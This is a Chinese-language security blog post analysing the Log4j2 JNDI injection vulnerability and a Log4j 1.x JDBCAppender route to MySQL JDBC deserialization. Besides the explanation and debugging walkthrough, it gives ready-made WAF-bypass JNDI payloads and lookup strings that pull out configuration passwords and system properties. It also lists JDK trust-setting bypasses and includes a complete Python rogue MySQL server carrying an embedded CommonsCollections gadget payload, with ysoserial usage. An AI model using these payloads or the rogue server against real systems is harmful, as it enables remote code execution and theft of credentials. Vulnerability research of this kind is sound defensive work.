log4j2 JNDI注入分析筆記

​前言

Apache Log4j2是一款優秀的Java日誌框架,最近爆出了一個jndi注入的漏洞,影響面非常廣,各大廠商都被波及。Log4j2作爲日誌記錄的第三方庫,被廣泛得到使用,這次主要分享一下,最近的一些調試記錄。

JNDI簡介

JNDI 全稱爲 Java Naming and Directory Interface,即 Java 名稱與目錄接口。本質上就是一個接口,ND代表的Naming 和 Directory,分別代表Naming Service(名稱服務)Directory Service(目錄服務)。參考JNDI 注入漏洞的前世今生

名稱服務就是通過名稱查找實際對象的服務,例如:通過域名尋找ip地址即DNS服務、文件系統、以及LDAP( Lightweight Directory Access Protocol即輕量級目錄訪問協議都是名稱服務,不同的是LDAP(RFC2251(RFC4511) )是一個協議,是和HTTP一樣是通用的,而不止侷限於JAVA.目錄服務是名稱服務的一種拓展,除了名稱服務中已有的名稱到對象的關聯信息外,還允許對象擁有屬性(attributes)信息。由此,我們不僅可以根據名稱去查找(lookup)對象(並獲取其對應屬性),還可以根據屬性值去搜索(search)對象。目錄服務也是一種特殊的名稱服務,關鍵區別是在目錄服務中通常使用搜索(search)操作去定位對象,而不是簡單的根據名稱查找(lookup)去定位。

JNDI 架構上主要包含兩個部分,即 Java 的應用層接口和 SPI,SPI 全稱爲 Service Provider Interface,即服務供應接口,主要作用是爲底層的具體目錄服務提供統一接口,從而實現目錄服務的可插拔式安裝,如下圖所示:

 

 

如上JNDI爲不同的目錄服務提供統一的操作接口

JDK 中包含了下述內置的目錄服務:

  • RMI: Java Remote Method Invocation,Java 遠程方法調用;
  • LDAP: 輕量級目錄訪問協議;
  • CORBA: Common Object Request Broker Architecture,通用對象請求代理架構,用於 COS 名稱服務(Common Object Services);

RMI

RMI(Remote Method Invocation)即java的遠程方法調用,Java RMI是專爲Java環境設計的遠程方法調用機制,遠程服務器實現具體的Java方法並提供接口,客戶端本地僅需根據接口類的定義,提供相應的參數即可調用遠程方法並獲取執行結果,即JAVA的RPC機制。關於RMI需要注意以下兩點:

  1. RMI的傳輸是基於反序列化的。
  2. 對於任何一個以對象爲參數的RMI接口,你都可以發一個自己構建的對象,迫使服務器端將這個對象按任何一個存在於服務端classpath(不在classpath的情況,可以看後面RMI動態加載類相關部分)中的可序列化類來反序列化恢復對象。

更多可以參考:https://paper.seebug.org/1091/#java-rmi_1

LDAP

LDAP即是JNDI SPI支持的Service Provider之一,但同時也是協議。是早期 X.500 DAP (目錄訪問協議) 的一個子集,因此有時也被稱爲 X.500-lite。LDAP目錄服務是由目錄數據庫和一套訪問協議組成的系統,目錄服務是一個特殊的數據庫,用來保存描述性的、基於屬性的詳細信息,能進行查詢、瀏覽和搜索,以樹狀結構組織數據。LDAP目錄服務基於客戶端-服務器模型,它的功能用於對一個存在目錄數據庫的訪問。LDAP目錄和RMI註冊表的區別在於是前者是目錄服務,並允許分配存儲對象的屬性。

LDAP 的目錄信息是以樹形結構進行存儲的,在樹根一般定義國家(c=CN)或者域名(dc=com),其次往往定義一個或多個組織(organization,o)或組織單元(organization unit,ou)。一個組織單元可以包含員工、設備信息(計算機/打印機等)相關信息。

一些定義:

 

 

漏洞環境

pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.example</groupId>
  <artifactId>log4j-test</artifactId>
  <version>1.0-SNAPSHOT</version>
  <dependencies>
      <dependency>
          <groupId>org.apache.logging.log4j</groupId>
          <artifactId>log4j-api</artifactId>
          <version>2.9.0</version>
      </dependency>
      <dependency>
          <groupId>org.apache.logging.log4j</groupId>
          <artifactId>log4j-core</artifactId>
          <version>2.9.0</version>
      </dependency>
  </dependencies>

</project>
log4jTest.java
import org.apache.logging.log4j.LogManager;

public class log4jTest {
  //獲取日誌記錄器Logger,名字爲本類類名
  private static final Logger logger = LogManager.getLogger();
  public static void main(String[] args) {
      for(int i=0;i<2;i++){
          logger.error("${jndi:ldap://$xxxx}");
      }
    }
}

漏洞分析

產生原因

Log4j2默認提供了Lookups功能,查找提供了一種在任意位置向 Log4j 配置添加值的方法。它們是實現StrLookup接口的特定類型的插件。其中包括了對JNDI

Lookup的支持,但是卻未對傳入內容進行任何限制,導致攻擊者可以JNDI注入,遠程加載惡意類到應用中,從而RCE。

流程分析

這裏使用idea進行動態調試。

首先f7跟進error方法:

 

 

到達isEnabled,這裏有個限制就是log 的level等級必須大於或等於配置的level,在測試的幾個版本中,不配置的情況下默認爲ERROR,所以info之類的很多無法觸發漏洞,log4j2中, 共有8個級別,從低到高爲:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF。

 

 

org.apache.logging.log4j.core.pattern.MessagePatternConverter \#format

處會對this.config和this.noLookups進行判斷,然後循環讀取,當遇到${

就會觸發

config.getStrSubstitutor().replace(event, value)

對value進行進一步的格式化處理。

 

 

跟進replace函數:

 

 

繼續跟進substitute函數,這裏主要是遞歸去處理我們傳入的內容,其中prefixMatcher和suffixMatcher分別匹配${和}。

 

 

配置到${和}之後,就會把括號內的值賦給varName:

 

 

 

在374行會varName會作爲參數傳給resolveVariable:

 

 

 

然後一路跟下去,resolveVariable方法這裏則直接根據不同的協議選擇相應的lookup邏輯進行解析執行,通過log4j-core 自帶的JndiLookup進行處理JNDI URL, getVariableResolver()獲取支持的協議{date, ctx, main, sys, env, sd, java, marker, jndi, jvmrunargs, bundle, map, log4j},不同的版本支持的協議略有不同,比如2.14.1支持的是{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j},所以2.15.0 rc1一些waf繞過也不是通用的。

 

 

最終在jndiManager類,用java原生的javax.naming.InitialContext.lookup 去訪問,這一步是經典的JNDI注入,從而造成RCE。

 

 

WAF 繞過

由於整個處理過程是遞歸進行的,遇到${}就會處理一次,最後會把處理好的內容拼接在一起,然後傳值給resolveVariable方法,然後根據不同的協議進行進入相應的lookup方法,並且還內置一些分隔符的處理邏輯,例如:":-",造成一些繞過。

 

 

可以構造這樣的payload:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/Exploit.class}

當匹配到":-"會進行下面的處理,會把匹配${}轉化爲字符數組,然後對這個數組進行遍歷,遇到":-"就會使用substring函數把":-"之前的內容包括給":-"截掉,這裏":-"不分先後,例如"-:",因爲是作爲一個數組匹配的,只要在一起就行。所以便有了千奇百怪的繞waf手法。

 

 

substitute會遞歸處理每一個${},第一輪"::-j"會被換爲"j"。

 

 

所以還可以用lower, upper等支持的協議進行一些繞過,例如:

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

但是部分版本支持的協議不太一樣,這點需要注意一下。部分版本不支持lower, upper等協議,例如:2.9.0

 

 

外帶敏感信息

在不能RCE的情況下,可以通過dnslog等方式外帶一些敏感信息,例如

${hostName}

${sys:user.dir}

${sys:java.version}

${java:os}

.........

更多可以參考官方的https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html#JndiLookup支持的協議用法

@淺藍師傅發現了危害更大一種利用方式,就是利用Bundle協議讀取項目配置文件來獲取敏感信息,例如讀取 springboot 的application.properties 配置文件獲取 redis、mysql 的配置項等敏感信息:

${bundle:application:spring.datasource.password}

RCE的一些限制

JNDI注入有很多種不同的利用pyload,但是都存在一些限制條件。

JDK 中默認支持的 JNDI 自動協議轉換以及對應的工廠類如下所示:

 

 

RMI

從JDK 6u45、7u21開始,java.rmi.server.useCodebaseOnly 的默認值就是true。當該值爲true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前VM的java.rmi.server.codebase 指定路徑加載類文件。從JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服務中JNDI Reference遠程加載Object Factory類的特性。系統屬性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默認值變爲false,即默認不允許從遠程的Codebase加載Reference工廠類。

LDAP

2018年10月,對LDAP Reference遠程工廠類的加載增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之後com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整爲false,

手動開啓上面的屬性,可以通過代碼實現,如下:

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

繞過JDK版本限制

繞過一般需要利用受害者CLASSPATH的類,依賴於本地的Gadget,常用的有下面兩種手法:

  1. 找到一個受害者本地CLASSPATH中的類作爲惡意的Reference Factory工廠類,並利用這個本地的Factory類執行命令。
  2. 利用LDAP直接返回一個惡意的序列化對象,JNDI注入依然會對該對象進行反序列化操作,利用反序列化Gadget完成命令執行。

第一種繞過手法常用的是org.apache.naming.factory.BeanFactory這個類,因爲它存在於Tomcat依賴包中,所以應用比較廣泛。org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中會通過反射的方式實例化Reference所指向的任意Bean Class,並且會調用setter方法爲所有的屬性賦值。而該Bean Class的類名、屬性、屬性值,全都來自於Reference對象,均是攻擊者可控的。

第二種繞過手法需要利用一個本地的反序列化利用鏈(如CommonsCollections),然後可以結合Fastjson等漏洞入口點和JdbcRowSetImpl進行組合利用。

log4j1.x有限制的RCE

log4j 1.x 已停產,不會發布修復版本。目前大多使用的都是log4j2.x,但是還有少部分老舊業務使用的是1.x。這裏的利用方式,比較雞肋,所以只是記錄一下,結合MySQL JDBC的利用方式。這裏跟JNDI沒啥關係。

環境搭建

log4j.properties
log4j.rootLogger=DEBUG,database  

log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender  
#數據庫地址
log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor  
log4j.appender.database.driver=com.mysql.jdbc.Driver  
log4j.appender.database.user=root
log4j.appender.database.password=root
log4j.appender.database.sql=INSERT INTO log4j (message) VALUES('%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n')  
#log4j.appender.database.layout=org.apache.log4j.PatternLayoutlog4j.propertieslog4j.properties
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.example</groupId>
  <artifactId>log4j-test</artifactId>
  <version>1.0-SNAPSHOT</version>
  <dependencies>
      <dependency>
          <groupId>log4j</groupId>
          <artifactId>log4j</artifactId>
          <version>1.2.17</version>
      </dependency>
      <dependency>
          <groupId>commons-collections</groupId>
          <artifactId>commons-collections</artifactId>
          <version>3.2.1</version>
      </dependency>
      <dependency>
          <groupId>mysql</groupId>
          <artifactId>mysql-connector-java</artifactId>
          <version>8.0.12</version>
      </dependency>
  </dependencies>
</project>
log4jTest.java
import org.apache.log4j.Logger;
import javax.naming.NamingException;
public class log4jTest {
  //獲取日誌記錄器Logger,名字爲本類類名
  public static void main(String[] args) throws NamingException {
          //PropertyConfigurator.configure ("/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties");
            Logger logger = Logger.getLogger(log4jTest.class);
            logger.error("error");
    }
}

漏洞分析

知識點

JDBC簡介

JDBC是Java DataBase Connectivity的縮寫,它是Java程序訪問數據庫的標準接口。使用Java程序訪問數據庫時,Java代碼並不是直接通過TCP連接去訪問數據庫,而是通過JDBC接口來訪問,而JDBC接口則通過JDBC驅動來實現真正對數據庫的訪問。

常用配置格式:

 

 

MYSQL JDBC反序列化漏洞原理

BlackHat Europe 2019 的議題《New Exploit Technique In Java Deserialization Attack》公佈了MYSQL JDBC的反序列化利用鏈,原理是在使用MYSQL JDBC連接數據庫的時候,會執行幾個內置的sql查詢語句,其中SHOW SESSION STATUS和SHOW COLLATION兩個查詢的結果集在MySQL客戶端被處理時會調用ObjectInputStream.readObject()進行反序列化操作,如果攻擊者搭建惡意MySQL服務器來控制這兩個查詢的結果集,如果JDBC連接是可控的,那麼就能觸發MySQL JDBC客戶端反序列化漏洞。(需要mysql-java-connector <8.0.23)。

mysql惡意服務器
# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
  data = conn.recv(1024)
  print("[*] Receiveing the package : {}".format(data))
  return str(data).lower()

def send_data(conn,data):
  print("[*] Sending the package : {}".format(data))
  conn.send(binascii.a2b_hex(data))

def get_payload_content():
  #file文件的內容使用ysoserial生成的 使用規則:java -jar ysoserial [Gadget] [command] > payload
  file= r'payload'
  if os.path.isfile(file):
      with open(file, 'rb') as f:
          payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
      print("open successs")

  else:
      print("open false")
      #calc
      payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
  return payload_content

# 主要邏輯
def run():

  while 1:
      conn, addr = sk.accept()
      print("Connection come from {}:{}".format(addr[0],addr[1]))

      # 1.先發送第一個 問候報文
      send_data(conn,greeting_data)

      while True:
          # 登錄認證過程模擬 1.客戶端發送request login報文 2.服務端響應response_ok
          receive_data(conn)
          send_data(conn,response_ok_data)

          #其他過程
          data=receive_data(conn)
          #查詢一些配置信息,其中會發送自己的 版本號
          if "session.auto_increment_increment" in data:
              _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
              send_data(conn,_payload)
              data=receive_data(conn)
          elif "show warnings" in data:
              _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
              send_data(conn, _payload)
              data = receive_data(conn)
          if "set names" in data:
              send_data(conn, response_ok_data)
              data = receive_data(conn)
          if "set character_set_results" in data:
              send_data(conn, response_ok_data)
              data = receive_data(conn)
          if "show session status" in data:
              mysql_data = '0100000102'
              mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
              mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
              # 爲什麼我加了EOF Packet 就無法正常運行呢??
              # 獲取payload
              payload_content=get_payload_content()
              # 計算payload長度
              payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
              payload_length_hex = payload_length[2:4] + payload_length[0:2]
              # 計算數據包長度
              data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
              data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
              mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
              mysql_data += str(payload_content)
              mysql_data += '07000005fe000022000100'
              send_data(conn, mysql_data)
              data = receive_data(conn)
          if "show warnings" in data:
              payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
              send_data(conn, payload)
          break


if __name__ == '__main__':
  HOST ='0.0.0.0'
  PORT = 3306

  sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  #當socket關閉後,本地端用於該socket的端口號立刻就可以被重用.爲了實驗的時候不用等待很長時間
  sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  sk.bind((HOST, PORT))
  sk.listen(1)

  print("start fake mysql server listening on {}:{}".format(HOST,PORT))

  run()

可以用ysoserial生成CC7的payload,然後運行惡意MySQL服務器進行監聽。

例如:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 calc > payload

 

 

放在mysql服務器的py文件同級目錄,並且運行mysq服務器。

 

 

流程分析

log4j三大組件爲Logger、Appender、Layout。Logger負責收集處理日誌記錄,Layout負責日誌輸出的形式,而Appender負責配置日誌的輸出位置和方式。

其中Appender可以配置的一種方式爲數據庫輸出(JDBCAppender),通過JDBC鏈接把日誌輸出到數據庫中,配置時需要配置JDBC驅動,連接字符串,用戶名,密碼以及SQL語句。

我們直接把斷點打在JDBCAppender.java的getConnection()處,因爲這也是MYSQL JDBC反序列化的執行點。

調用鏈如下:

 

 

成功執行:

 

 

但是正常情況下我們是無法控制log4j的配置文件的,所以是比較雞肋的,但是一些可以動態配置服務的,例如nacos,也許可以找到利用方式。

 

 

但是不知道是否支持log4j1.x,:)。

參考:

https://paper.seebug.org/1091/

https://paper.seebug.org/942/

https://githubmemory.com/repo/Ea3i0n/JNDIExploit

https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html

https://evilpan.com/2021/12/13/jndi-injection/

https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章